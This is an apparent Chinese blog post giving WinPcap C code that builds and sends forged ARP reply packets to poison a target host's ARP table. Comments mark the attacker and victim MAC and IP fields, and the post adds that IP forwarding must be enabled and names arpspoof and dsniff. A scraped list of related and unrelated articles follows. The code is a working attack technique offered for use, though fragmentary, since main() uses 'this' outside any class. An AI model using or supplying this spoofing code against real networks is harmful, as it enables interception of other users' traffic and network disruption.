ARP攻击 winpcap
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗。解决办法详见百科
#define ETHER_ADDR_LEN 6
typedef struct
{
u_char DestMAC[ETHER_ADDR_LEN]; //目的MAC地址 6字节
u_char SourMAC[ETHER_ADDR_LEN]; //源MAC地址 6字节
u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
}EthernetHeader;
// 28 bytes ARP request/reply
typedef struct
{
u_short HardwareType; //硬件类型,2字节,定义运行ARP的网络的类型,以太网是类型1
u_short ProtocolType; //协议类型,2字节,定义上层协议类型,对于IPV4协议,该字段值为0800
u_char HardwareAddLen; //硬件地址长度,8位字段,定义对应物理地址长度,以太网中这个值为6
u_char ProtocolAddLen; //协议地址长度,8位字段,定义以字节为单位的逻辑地址长度,对IPV4协议这个值为4
u_short OperationField; //操作字段,数据包类型,ARP请求(值为1),或者ARP应答(值为2)
u_char SourceMacAdd[6]; //源(发送端)mac地址,可变长度字段,对以太网这个字段是6字节长
u_char SourceIpAdd[4]; //源(发送短)ip地址,发送端协议地址,可变长度字段,对IP协议,这个字段是4字节长
u_char DestMacAdd[6]; //目的(接收端)mac地址
u_char DestIpAdd[4]; //目的(接收端)ip地址,注意不能为u_int型,结构体对其
}ArpHeader;
//封装以太网头
void fillEthernetPacket(u_char *sourMAC, u_char *destMAC)
{
memset(&this->ethHdr, 0, sizeof(this->ethHdr));
memcpy(this->ethHdr.SourMAC, sourMAC, sizeof(this->ethHdr.SourMAC));
memcpy(this->ethHdr.DestMAC, destMAC, sizeof(this->ethHdr.DestMAC));
this->ethHdr.EthType = htons(ARP_TYPE);
}
//封装ARP头
void fillArpPacket(u_char* srcMac,char *srcIp,u_char *destMac,char *destIp)
{
this->arpHdr.HardwareAddLen = 6;
this->arpHdr.ProtocolAddLen = 4;
this->arpHdr.HardwareType = htons(ARP_HARDWARE);
this->arpHdr.ProtocolType = htons(IP_TYPE);
this->arpHdr.OperationField = htons(ARP_REPLY);
memcpy(this->arpHdr.SourceMacAdd, srcMac, sizeof(this->arpHdr.SourceMacAdd));
memcpy(this->arpHdr.DestMacAdd, destMac, sizeof(this->arpHdr.DestMacAdd));
u_long srcIpN = htonl(pcap.my_inet_addr(srcIp));
memcpy(this->arpHdr.SourceIpAdd, (u_char*)&srcIpN, sizeof(this->arpHdr.SourceIpAdd));
u_long destIpN = htonl(pcap.my_inet_addr(destIp));
memcpy(this->arpHdr.DestIpAdd, (u_char*)&destIpN, sizeof(this->arpHdr.DestIpAdd));
}
//封装ARP包
void fillPacket()
{
memset(this->packet, 0, sizeof(this->packet));
// 填充以太网头,为广播方式
memcpy(this->packet, &this->ethHdr, ETHERNET_HEAD_LENGTH);
// 填充arp头
memcpy(this->packet + ETHERNET_HEAD_LENGTH, &this->arpHdr, ARP_BODY_LENGTH);
}
// 发送ARP欺骗包
void sendArpCheatPacket()
{
/* Send down the packet */
if (pcap_sendpacket(this->adhandle, // Adapter
packet, // buffer with the packet
ARP_PACKET_LENGTH // size
) != 0)
{
qDebug("\nError sending the packet: %s\n", pcap_geterr(this->adhandle));
return;
}
}
int main()
{
/*
* hostInfo.mac:攻击者MAC
* cheatHostInfo.mac:攻击对象MAC
*/
fillEthernetPacket(this->hostInfo.mac, cheatHostInfo.mac);
/*
* hostInfo.mac:攻击目标ARP表中,hostInfo.ip对应的mac替换为此mac地址
* hostInfo.ip:攻击目标ARP表中,被替换mac的ip地址
* cheatHostInfo.mac:攻击目标mac地址
* cheatHostInfo.ip:攻击目标ip地址
*/
fillArpPacket(this->hostInfo.mac, this->hostInfo.ip,
cheatHostInfo.mac, cheatHostInfo.ip);
sendArpCheatPacket();
}
当攻击目标发送ARP请求的时候,ARP欺骗回应包就会更新其ARP表
相关工具包介绍
arpspoof:arp欺骗的工具
dsniff:网络嗅探工具包
注:需要打开IP转发
ARP攻击 winpcap的更多相关文章
- QT---基于WinPcap的局域网络管理工具(主机扫描、包过滤、ARP攻击、端口扫描)
主要功能 本机适配器扫描 局域网各主机扫描 类似于WinShark的抓包工具,能够简单的过滤Tcp.Udp.Arp等包 ARP攻击功能,限制局域网内指定主机上网 流量统计,统计实时网速 多线程攻击,多 ...
- Arp攻击实战
hyddd原创,转载请说明出处. 现在网上很多关于ARP攻击的文章,但多数是描述其原理,少数会以某个工具作为例子展开说明,但感觉说的还是不够详细,今天写个文章以实战介绍一个叫"WinArpA ...
- ARP防火墙绑定网关MAC地址预防ARP攻击和P2P终结者
[故障原理] 要了解故障原理,我们先来了解一下ARP协议. 在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的.ARP协议对网络安全具有重要的意义.通过伪造IP地址和M ...
- kali linux下的arp攻击
这是我第一篇博客,写的不好请谅解 ____________________________(分割线)_______________________________ 在kali linux系统下自带工具 ...
- 转载《遭受arp攻击怎么办》
ARP(Address Resolution Protocol,地址解析协议)协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行.ARP攻击仅能在以太网(局 域网如: ...
- 记一次 Ubuntu 使用 arptables 抵御局域网 ARP 攻击
. . . . . 前段时间大概有一个月左右,租房的网络每天都断一次,每次断大概一两分钟左右就恢复了,所以没太在意.直到有一天晚上,LZ 正在写博客,但是网络频繁中断又重新连上再中断.待 LZ 好不容 ...
- 关于ARP攻击的原理以及在Kali Linux环境下的实现
关于ARP攻击的原理以及在Kali Linux环境下的实现 全文摘要 本文讲述内容分为两部分,前半部分讲述ARP协议及ARP攻击原理,后半部分讲述在Kali Linux环境下如何实现ARP攻击以及AR ...
- Windows 2008如何绑定MAC防范ARP攻击!
Windows 2008如何绑定MAC防范ARP攻击! 阅读(1974)暂无评论时间:2010-11-23 22:52:13 在Windows server 2003时代,通过arp 这命令即 ...
- Kali实现局域网ARP欺骗和ARP攻击
原文地址: http://netsecurity.51cto.com/art/201303/386031.htm http://xiao106347.blog.163.com/blog/static/ ...
随机推荐
- docker中安装宝塔面板
我的电脑是win10,安装的virtualbox其上装的ubutun14,ubutun也安装了docker,今天我补充一个完整的操作流程.怎么在docker中安装宝塔面板?先打个岔,这些命令总是记不住 ...
- rsync nfs web01总结
目录 rsync nfs web01总结 要求 部署rsync服务端(172.16.1.41) 部署rsync客户端(172.16.1.31.172.16.1.7) 部署web代码 NFS服务端部署 ...
- gdisk分区及swap分区
gdisk分区及swap分区 gdisk分区,分区表是GPT,支持更大的分区,128G gdisk分区 一,添加硬盘 二,分区 1,安装gdisk [root@oldboy ~]# yum insta ...
- Android Studio中无法找到android.os.SystemProperties解决办法
这个SystemProperties类主要是在这个jar包中layoutlib.jar,所以现在的办法就是让这个 jar包加载到 android studio中 下面讲解如何添加: 1.找到对应项目的 ...
- 2019中国大学生程序设计竞赛(CCPC) - 网络选拔赛
传送门 A.^&^ 题意: 找到最小的正数\(C\),满足\((A\ xor\ C)\&(B\ xor \ C)\)最小. 思路: 输出\(A\&B\)即可,特判答案为0的情况 ...
- 四、排序算法总结二(归并排序)(C++版本)
一.什么是归并排序? 归并排序是基于分而治之的思想建立起来的. 所谓的分而治之,也就是将一个数据规模为N的数据集,分解为两个规模大小差不多的数据集(n/2),然而分别处理这两个更小的问题,就相当于解决 ...
- 201871010114-李岩松《面向对象程序设计(java)》第十四周学习总结
项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p ...
- vmware workstations 虚拟机安装CentOS
1.下载vmware ,我的版本是从上学时保存网盘的,版本比较低,链接如下: 链接:https://pan.baidu.com/s/19QP0q8xmPWIPn-rziPTvKg 提取码:lvh9 2 ...
- acwing 2 零一背包问题
地址 https://www.acwing.com/problem/content/description/2/ 题目描述有 N 件物品和一个容量是 V 的背包.每件物品只能使用一次. 第 i 件物品 ...
- python接口测试:如何将A接口的返回值传递给B接口
在编写接口测试脚本时,要考虑一个问题:参数值从哪里获取 一种方式是可以通过数据库来获取,但是通过这次接口测试,我发现读取数据库有一个缺点:速度慢 可能和我的sql写法有关,有些sql加的约束条件比较少 ...